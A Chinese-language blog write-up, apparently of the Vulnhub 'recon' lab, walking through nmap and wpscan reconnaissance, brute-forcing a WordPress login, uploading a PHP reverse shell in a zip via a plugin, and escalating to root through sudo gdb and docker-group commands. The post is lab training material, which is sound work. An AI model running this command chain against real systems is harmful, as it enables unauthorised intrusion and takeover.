Vulnhub:recon靶机

kali:192.168.111.111

靶机:192.168.111.188

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.188

image

访问web发现是wordpress网站

image

使用wpscan收集到两个用户名

wpscan --url http://192.168.111.188 -e u

image

wpscan爆破,得到账号密码:reconauthor|football7

wpscan --url http://192.168.111.188 -U user.txt -P /usr/share/wordlists/rockyou.txt

image

登录后台后选择Posts -> Add New -> e_Learning,上传反弹shell

image

image

这里需要上传zip压缩包,压缩包里需要有php反弹shell和至少一个html文件

zip php-reverse-shell.zip php-reverse-shell.php z.html

image

image

image

上传完成后访问该路径:/wp-content/uploads/articulate_uploads/shell/

image

image

获得反弹shell

image

提权

www-data用户sudo -l

image

提权方法:https://gtfobins.github.io/gtfobins/gdb/#sudo

image

切换到offensivehack用户

sudo -u offensivehack gdb -nx -ex '!sh' -ex quit

image

发现offensivehack用户处于docker组,提权方法:https://gtfobins.github.io/gtfobins/docker/

image

输入该命令获得root权限

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image

获得flag

image

posted @ 2023-02-13 16:09  ctostm  阅读(29)  评论(0)    收藏  举报